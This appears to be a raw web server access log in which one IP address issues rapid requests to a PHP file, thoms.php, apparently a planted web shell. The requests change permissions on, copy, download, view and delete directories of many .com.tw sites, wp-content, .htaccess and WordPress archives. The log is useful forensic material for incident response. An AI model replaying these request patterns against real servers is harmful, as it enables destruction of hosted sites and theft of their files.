45.135.193.11 - - [11/Sep/2026:23:17:31 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11438 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 12554 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16543 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 12261 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 21714 "https://163.245.207.76/bestzyx.com.tw/thoms.php?chmod=wp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 21712 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 17586 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 12229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 12250 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 21715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 21713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12524 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 21742 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 21714 "https://163.245.207.76/bestzyx.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 21713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 12254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 12243 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 21735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 21713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:32 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 200 11437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 21717 "https://163.245.207.76/bestzyx.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20115 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11836 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 12246 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 21734 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 12240 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 21686 "https://163.245.207.76/bestzyx.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 21702 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 12256 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12205 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 200 12233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 21713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 21713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17656 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 12236 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12536 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 200 12224 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 12256 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 12252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:33 -0400] "GET /bestzyx.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 13324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17513 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p=wp-content HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 21715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 21713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 21715 "https://163.245.207.76/bestzyx.com.tw/thoms.php?p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 21528 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 12245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 200 11766 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11920 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 21713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 12209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 21739 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 200 11768 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 21731 "https://163.245.207.76/bestzyx.com.tw/thoms.php?copy=wp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 21704 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
